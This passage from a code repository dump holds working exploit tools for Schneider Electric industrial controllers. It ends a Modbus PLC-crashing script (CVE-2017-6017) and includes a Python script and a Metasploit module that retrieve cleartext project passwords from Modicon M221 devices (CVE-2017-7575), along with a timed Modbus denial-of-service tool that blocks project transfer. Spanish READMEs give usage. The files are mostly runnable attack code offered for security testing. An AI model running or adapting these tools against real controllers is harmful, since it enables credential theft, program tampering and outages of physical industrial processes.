str((len(pduInjection)/2)+1) 232 | reqst[0] = create_header_modbus(lenPdu,SID) 233 | reqst[1] = pduInjection # 5a 00 20 00 00 234 | 235 | MB_Request = reqst[0] # header 236 | MB_Request += reqst[1] # pdu 237 | 238 | try: 239 | # podremos conectarnos ? 240 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 241 | client.settimeout(2) 242 | client.connect((HST,portModbus)) 243 | except Exception, e: 244 | # game over; No conecction ! 245 | noConnection() 246 | 247 | mbKiller = MB_Request.decode('hex') 248 | 249 | injection = Colors.GREEN+reqst[0]+Colors.RED+reqst[1]+Colors.DEFAULT 250 | print " [+] Bad Injection: \t"+injection 251 | 252 | client.send(mbKiller) # enviamos ==> "header" + \x5a\x00\x20\x00\x00 253 | 254 | try: 255 | # tendremos respuesta ? 256 | # Si responde, el device no es vulnerable 257 | modResponse = (client.recv(1024)) 258 | print " [+] Response: \t\t"+modResponse.encode("hex") 259 | print " [+] Response(dec): \t"+modResponse 260 | 261 | print Colors.BLUE+"\n // ------------------------------------------------- //" 262 | print Colors.ORANGE+"\t [+] NO vulnerable" 263 | print Colors.GREEN+"\t [+] Device UP !!!" 264 | print Colors.BLUE+" // ------------------------------------------------- //\n\n"+Colors.DEFAULT 265 | except Exception, e: 266 | print " [!] No Response: \t"+Colors.RED+str(e)+Colors.DEFAULT 267 | print Colors.BLUE+"\n // ------------------------------------------------- //" 268 | print Colors.RED+"\t [+] Vulnerable" 269 | print Colors.ORANGE+"\t [!] GAME OVER" 270 | print Colors.GREEN+"\t [+] Device DOWN !!!" 271 | print Colors.BLUE+" // ------------------------------------------------- //\n\n"+Colors.DEFAULT 272 | 273 | client.close() 274 | sys.exit(0) 275 | 276 | def main(): 277 | print Colors.GREEN+banner+Colors.DEFAULT 278 | print Colors.BLUE+bannerInfo+Colors.DEFAULT 279 | 280 | if newMode: 281 | print Colors.BLUE+" [!] Mode: \t\t"+Colors.ORANGE+"[ "+str(newMode)+" ]"+Colors.DEFAULT 282 | setMode(newMode,HST,portModbus) 283 | else: 284 | pass 285 | 286 | 287 | if checkDev == True: 288 | get_obj_DevInfo(modbusRequest) 289 | 290 | elif killerPLC == True: 291 | # contemplar injectiones manuales !!! 292 | plcKiller(pduInjection="5a00200000") 293 | else: 294 | sys.exit(0) 295 | 296 | main() -------------------------------------------------------------------------------- /schneider/CVE-2017-6017/screenshot/m340.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/industrialarmy/ics_exploits/1746b8d157422502424d71708ddbc9312d66af71/schneider/CVE-2017-6017/screenshot/m340.png -------------------------------------------------------------------------------- /schneider/CVE-2017-6017/screenshot/m580.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/industrialarmy/ics_exploits/1746b8d157422502424d71708ddbc9312d66af71/schneider/CVE-2017-6017/screenshot/m580.jpg -------------------------------------------------------------------------------- /schneider/CVE-2017-7575/README.md: -------------------------------------------------------------------------------- 1 | # Obtencion remota de credenciales en texto claro en Schneider-Electric Modicon TM221CE16R (CVE-2017-7575) 2 | Los investigadores de seguridad Simon Heming, Maik Brüggemann, Hendrik Schwartke y Ralf Spenneberg han descubierto una vulnerabilidad que permite a atacantes con conexión al dispositivo afectado, obtener contraseñas sin cifrar tras el envío de una petición. 3 | 4 | # Error en el mecanismo de protección: 5 | La función Application Protection es usada para prevenir la transferencia de la aplicación desde el controlador lógico al software SoMachine Basic. Un comando específicamente formado puede ser enviado vía Modbus TCP por el puerto 502 al controlador lógico y este devolverá la contraseña sin cifrar. Tras la obtención de la contraseña un atacante puede acceder a la aplicación "SoMachine Basic" para descargar, modificar y posteriormente cargar de nuevo cualquier aplicación. Se ha publicado el identificador *CVE-2017-7575* para esta vulnerabilidad. 6 | 7 | 8 | ## Vulnerable: 9 | * Schneider-Electric Modicon TM221CE16R 1.3.3.3 10 | 11 | ## [Actualizacion 17/04/2017] 12 | * Schneider Modicon M221 PLC todas las versiones firmware hasta la versión v1.5.0.1 13 | * SoMachine Basic todas las versiones software hasta la versión v1.5 14 | 15 | ## Uso / usage 16 | 17 | usr@pwn:~$ git clone https://github.com/ezelf/ics_exploits.git 18 | usr@pwn:~$ cd ics_exploits/schneider/CVE-2017-7575/ 19 | usr@pwn:~$ python password_m221.py 20 | 21 | ## poc 22 | ![poc_m221](screenshot/poc_1.png) 23 | 24 | 25 | 26 | Referencia: https://www.industrial.army/2020/06/obtencion-remota-de-credenciales-en.html 27 | 28 | 29 | 30 | Saludos, 31 | Industrial Army. -------------------------------------------------------------------------------- /schneider/CVE-2017-7575/password_m221.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import socket 3 | import sys 4 | 5 | mbIP = sys.argv[1] 6 | mbPort = "502" 7 | details = ''' 8 | [+] Title: Error en mecanismo de autenticación . 9 | [+] Vendor: Schneider Electric 10 | [+] cve: CVE-2017-7575 11 | [+] Devices vuls: 12 | [*] Schneider-Electric Modicon TM221CE16R 1.3.3.3 13 | [*] Schneider Modicon M221 PLC todas las versiones firmware hasta la versión v1.5.0.1 14 | [*] SoMachine Basic todas las versiones software hasta la versión v1.5 15 | 16 | Powered by: @_IndustrialArmy 17 | 18 | ''' 19 | class Colors: 20 | BLUE = '\033[94m' 21 | GREEN = '\033[32m' 22 | RED = '\033[0;31m' 23 | DEFAULT = '\033[0m' 24 | ORANGE = '\033[33m' 25 | WHITE = '\033[97m' 26 | BOLD = '\033[1m' 27 | BR_COLOUR = '\033[1;37;40m' 28 | print Colors.BLUE+details+Colors.DEFAULT 29 | 30 | def cve_2017_7575(): 31 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 32 | print "\n [!] IP: "+str(mbIP) 33 | print " [!] Port: "+str(mbPort) 34 | 35 | client.connect((mbIP,int(mbPort))) 36 | client.send( "\x00\x01\x00\x00\x00\x05\x01\x5a\x00\x03\x00") 37 | modResponse = client.recv(2048) 38 | client.close() 39 | 40 | return (modResponse.encode('hex'))[90:-20].decode("hex") 41 | 42 | getPasswd = cve_2017_7575() 43 | 44 | print Colors.GREEN+"\n Password of Proyect (SoMachine): \t\n [>]\t"+Colors.ORANGE+(getPasswd)+Colors.DEFAULT 45 | print "\n" 46 | -------------------------------------------------------------------------------- /schneider/CVE-2017-7575/schneider_password_leak.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: https://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | class MetasploitModule < Msf::Auxiliary 7 | include Msf::Exploit::Remote::Tcp 8 | 9 | def initialize(info = {}) 10 | super(update_info(info, 11 | 'Name' => 'Schneider Electric Password Leak', 12 | 'Description' => %q{ 13 | Schneider Electric Modicon TM221CE16R 1.3.3.3 devices allow remote 14 | attackers to discover the application-protection password via a 15 | \x00\x01\x00\x00\x00\x05\x01\x5a\x00\x03\x00 request to the Modbus port 16 | (502/tcp). Subsequently the application may be arbitrarily downloaded, 17 | modified, and uploaded. 18 | 19 | # Discovery, vuln by: 20 | Simon Heming, Maik Brüggemann, Hendrik Schwartke y Ralf Spenneberg 21 | }, 22 | 'Author' => 23 | [ 24 | 'Juan Escobar ' # metasploit module 25 | ], 26 | 'References' => 27 | [ 28 | [ 'CVE', '2017-7575' ], 29 | [ 'URL', 'https://www.industrial.army/2020/06/exploit-obtencion-remota-de-credenciales-en.html' ], 30 | ], 31 | 'License' => MSF_LICENSE 32 | )) 33 | 34 | register_options( 35 | [ 36 | Opt::RPORT(502), 37 | ]) 38 | end 39 | 40 | def run 41 | connect() 42 | 43 | sock.put("\x00\x01\x00\x00\x00\x05\x01\x5a\x00\x03\x00") 44 | data = sock.get_once 45 | 46 | if data 47 | print_good("MODBUS - received correct MODBUS/TCP data: #{data[45, data.length-20].gsub("\x00",'')}") 48 | else 49 | print_status("MODBUS - did not receive data.") 50 | end 51 | 52 | disconnect() 53 | end 54 | end 55 | -------------------------------------------------------------------------------- /schneider/CVE-2017-7575/screenshot/poc_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/industrialarmy/ics_exploits/1746b8d157422502424d71708ddbc9312d66af71/schneider/CVE-2017-7575/screenshot/poc_1.png -------------------------------------------------------------------------------- /schneider/others/README.md: -------------------------------------------------------------------------------- 1 | # Varios: Exploits & Tools 2 | Exploits/Tools para pruebas de seguridad en entornos industriales 3 | 4 | 5 | # Tool: "Negation Modbus" 6 | Denegacion del servicio que evita que proyectos cargados en un PLC puedan ser descargados a una PC (Mediante Unity ProXL. 7 | 8 | 9 | 10 | ## Uso 11 | 12 | usage: negationModbus.py [-h] [-v] [--sid SLAVEID] --host HOST [--port PORT] 13 | [--hrs HRS] [--mins MINS] [--secs SECS] 14 | [--interval INTERVAL] 15 | 16 | [+] Stop project transfer from PLC (via Modbus Injection). 17 | 18 | optional arguments: 19 | -h, --help show this help message and exit 20 | -v, --version show program's version number and exit 21 | --sid SLAVEID Slave ID (default 00) 22 | --host HOST Host 23 | --port PORT Port (default 502) 24 | --hrs HRS For how many *HOURS* do you want to run the attack? 25 | --mins MINS For how many *MINUTES* do you want to run the attack? 26 | --secs SECS For how many *SECONDS* do you want to run the attack? 27 | --interval INTERVAL How many seconds to wait between requests 28 | 29 | [+] Demo: negationModbus.py --host --port 502 --min 50 --sec 40 30 | 31 | 32 | 33 | Referencia: https://www.industrial.army/2020/06/denegacion-del-servicio-de-descarga.html 34 | 35 | 36 | # Tool: .... 37 | .... 38 | -------------------------------------------------------------------------------- /schneider/others/negationModbus.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import time 3 | import socket 4 | import random 5 | import argparse 6 | import subprocess as sp 7 | 8 | # Clear the screen for faux non scroll 9 | def cls(): 10 | tmp = sp.call('clear', shell = True) 11 | 12 | parser = argparse.ArgumentParser(prog='negationModbus.py', 13 | description=' [+] Stop project transfer from PLC (via Modbus Injection).', 14 | epilog='[+] Demo: negationModbus.py --host --port 502 --min 50 --sec 40', 15 | version="1.0") 16 | 17 | parser.add_argument('--sid', dest="SlaveID", help='Slave ID (default 00)', default="00") 18 | parser.add_argument('--host', dest="HOST", help='Host',required=True) 19 | parser.add_argument('--port', dest="PORT", help='Port (default 502)',type=int,default=502) 20 | 21 | parser.add_argument('--hrs', dest="HRS", help='For how many *HOURS* do you want to run the attack?', default="0", type=int) 22 | parser.add_argument('--mins', dest="MINS", help='For how many *MINUTES* do you want to run the attack?', default="1",type=int) 23 | parser.add_argument('--secs', dest="SECS", help='For how many *SECONDS* do you want to run the attack?', default="0",type=int) 24 | 25 | # extra argument so we can choose the request frequency 26 | parser.add_argument('--interval', dest="INTERVAL", help='How many seconds to wait between requests', default="4",type=int) 27 | 28 | args = parser.parse_args() 29 | 30 | HST = args.HOST 31 | SID = str(args.SlaveID) ### ---> 00 to ff !!!! 32 | portModbus = args.PORT 33 | 34 | # Convert hours & mins to seconds... keep seconds as seconds 35 | _hours = (args.HRS * 60) * 60 36 | _mins = args.MINS * 60 37 | _secs = args.SECS 38 | 39 | # Add all seconds to get total denial time 40 | _total_seconds = _hours + _mins + _secs 41 | 42 | # ok... parse the interval argument here: 43 | _interval = args.INTERVAL 44 | 45 | if _total_seconds == 0: 46 | print("At least one (pointless?) second must be specified.") 47 | exit() 48 | 49 | if _interval == 0: 50 | print("The interval is too short! Must be 1 or more.") 51 | exit() 52 | 53 | 54 | class Colors: 55 | BLUE = '\033[94m' 56 | GREEN = '\033[32m' 57 | RED = '\033[0;31m' 58 | DEFAULT = '\033[0m' 59 | ORANGE = '\033[33m' 60 | WHITE = '\033[97m' 61 | BOLD = '\033[1m' 62 | BR_COLOUR = '\033[1;37;40m' 63 | 64 | 65 | def rand_color(bit): 66 | 67 | color_array = [Colors.BLUE, Colors.GREEN, Colors.RED, Colors.WHITE] 68 | rcolor = random.randint(0,3) 69 | 70 | return color_array[rcolor] + bit + Colors.ORANGE 71 | 72 | 73 | def create_header_modbus(length,unit_id): 74 | trans_id = "4462"#hex(random.randrange(0000,65535))[2:].zfill(4) -> dejo transaccion fija 75 | proto_id = "0000" 76 | protoLen = length.zfill(4) 77 | unit_id = unit_id 78 | 79 | return trans_id + proto_id + protoLen + unit_id.zfill(2) 80 | 81 | def busyService(pduInjection, randBits): 82 | 83 | _result = "" 84 | 85 | reqst = {} 86 | lenPdu = str((len(pduInjection)/2)+1) 87 | 88 | reqst[0] = create_header_modbus(lenPdu,SID) 89 | reqst[1] = pduInjection 90 | 91 | MB_Request = reqst[0] # header 92 | MB_Request += reqst[1] # pdu 93 | 94 | try: 95 | # podremos conectarnos ? 96 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 97 | client.settimeout(95) 98 | client.connect((HST,portModbus)) 99 | except Exception, e: 100 | print " [!] No Conecta: " 101 | print e 102 | 103 | # change color of random bit 104 | rand_bit = rand_color(reqst[1][10:-2]) 105 | 106 | mb_stopConection = MB_Request.decode('hex') 107 | _result += Colors.GREEN+" [+] Sent: \t\t"+Colors.BLUE+reqst[0]+Colors.ORANGE+reqst[1][:-4]+Colors.DEFAULT+rand_bit+"00"+Colors.DEFAULT+"\n" 108 | client.send(mb_stopConection) 109 | 110 | try: 111 | # tendremos respuesta ? 112 | modResponse = (client.recv(1024)) 113 | _result += " [+] Response: \t\t" + modResponse.encode("hex") + "\n" 114 | _result += " [+] Response(dec): \t"+modResponse+"\n" 115 | return _result 116 | 117 | except Exception, e: 118 | 119 | return " [!] No Response: \t"+Colors.RED+str(e)+Colors.DEFAULT+"\n" 120 | 121 | client.close() 122 | 123 | def get_remaining_hms(total_seconds): 124 | # beautifully simple time conversion. 125 | m, s = divmod(total_seconds, 60) 126 | h, m = divmod(m, 60) 127 | hms = "%d:%02d:%02d" % (h, m, s) 128 | return hms 129 | 130 | 131 | def deny(total_seconds, interval): 132 | 133 | result = "" 134 | 135 | while total_seconds != 0: 136 | 137 | cls() 138 | 139 | remaining_time = get_remaining_hms(total_seconds) 140 | 141 | print " [+] Denial Time Remaining (approx):\t[ " + str(remaining_time)+" ]\n" 142 | print "\n" 143 | print result 144 | 145 | 146 | time.sleep(1) 147 | 148 | total_seconds -= 1 149 | 150 | # Check to see if remaining time and interval mod to 0, if so, send request! 151 | if total_seconds % interval == 0: 152 | result = "" 153 | secuenceRnd = (hex(random.randrange(00,255))[2:]).zfill(2) 154 | badInjection = "5a01340001"+str(secuenceRnd)+"00" 155 | result += busyService(badInjection, secuenceRnd) 156 | 157 | 158 | deny(_total_seconds, _interval) --------------------------------------------------------------------------------